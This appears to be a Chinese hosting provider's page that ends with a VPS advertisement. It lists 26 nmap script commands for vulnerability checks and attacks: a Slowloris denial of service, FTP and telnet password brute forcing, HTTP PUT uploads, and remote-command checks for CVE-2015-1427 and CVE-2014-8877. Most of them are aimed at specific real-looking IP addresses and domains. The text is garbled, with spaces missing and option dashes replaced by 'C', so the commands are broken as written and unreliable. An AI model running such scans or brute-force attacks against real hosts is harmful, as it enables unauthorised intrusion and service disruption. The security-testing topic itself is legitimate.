香港服务器用nmap扫描网站漏洞的命令有：



1http拒绝服务



nmapCmax-parallelism800Cscripthttp-slowlorisscanme.nmap.org



2.IIS短文件泄露



nmap-p8080Cscripthttp-iis-short-name-brute61.142.64.176



3.ftp弱口令暴力破解



nmapCscriptftp-bruteCscript-argsbrute.emptypass=true,ftp-brute.timeout=30,userdb=/root/dirtionary/usernames.txt,brute.useraspass=true,passdb=/root/dirtionary/passwords.txt,brute.threads=3,brute.delay=6203.195.139.153



4.检测CVE-2011-2523中的ftp-vsftpd-backdoor



nmap-T2Cscriptftp-vsftpd-backdoor211.139.201.240



5.验证http中开启的-methods方法



nmap-T3Cscripthttp-methodsCscript-argshttp.test-all=true,http.url-path=/www.haoshangjia.com



6.验证HTTP.sys远程代码执行



nmap-sVCscripthttp-vuln-cve2015-1635203.195.139.153



7.验证SSLPOODLEinformationleak



nmap-sV-p443Cversion-lightCscriptssl-poodle218.19.141.16



8.验证http中开启了put方法



nmapCscripthttp-putCscript-argshttp-put.url=/uploads/testput.txt,http-put.file=/root/put.txt218.19.141.16



9.验证mysql匿名访问



nmapCscriptmysql-empty-password203.195.139.153



10.验证cve2015-1427漏洞



nmapCscripthttp-vuln-cve2015-1427Cscript-argscommand=ls203.195.139.153



11.验证cve2014-8877漏洞



nmap-PnCscripthttp-vuln-cve2014-8877Cscript-argshttp-vuln-cve2014-8877.cmd=dir,http-vuln-cve2014-8877.uri=/wordpress42.96.170.128



12.验证CiscoASA中的CVE-2014-2126,CVE-2014-2127,CVE-2014-21,CVE-2014-2129漏洞



nmap-p443Cscripthttp-vuln-cve2014-2126,http-vuln-cve2014-2127,http-vuln-cve2014-2128,http-vuln-cve2014-2129203.195.139.153



13.验证低安全的SSHv1，sslv2协议



nmapCscriptsshv1,sslv2www.haoshangjia.com



14.验证CVE-2014-0224ssl-ccs-injection



nmap-PnCscriptssl-ccs-injection203.195.139.153



15.验证ssl-cert证书问题



nmap-v-vCscriptssl-cert203.195.139.153



16.验证SSL证书的有限期



nmap-PnCscriptssl-datewww.haoshangjia.com



17.验证CVE-2014-0160OpenSSLHeartbleedbug



nmap-p443Cscriptssl-heartbleed,ssl-known-key203.195.139.153



18.验证DebianOpenSSLkeys



nmap-p443Cscriptssl-known-key203.195.139.153



19.验证弱加密SSL套件



nmapCscriptssl-enum-ciphers203.195.139.153



20.验证CVE2015-4000



nmapCscriptssl-dh-paramswww.haoshangjia.com



21.验证多种SSL漏洞问题



nmap203.195.139.153CvvCscriptsshv1,ssl-ccs-injection,ssl-cert,ssl-date,ssl-dh-params,ssl-enum-ciphers,ssl-google-cert-catalog,ssl-heartbleed,ssl-known-key,sslv2



22.在网络中检测某主机是否存在窃听他人流量



nmapCscriptsniffer-detect10.10.167.5



23.暴力破解telnet



nmap-p23Cscripttelnet-bruteCscript-argsuserdb=myusers.lst,passdb=mypwds.lstCscript-argstelnet-brute.timeout=8s203.195.139.153



24.验证telnet是否支持加密



nmapCscripttelnet-encryption203.195.139.153



25.精准地确认端口上运行的服务



nmap-sVCscriptunusual-port42.96.170.128



26.收集VNC信息



nmapCscriptvnc-info203.195.139.153



购买使用一诺网络https://www.enuoidc.com/vps.html ?typeid=2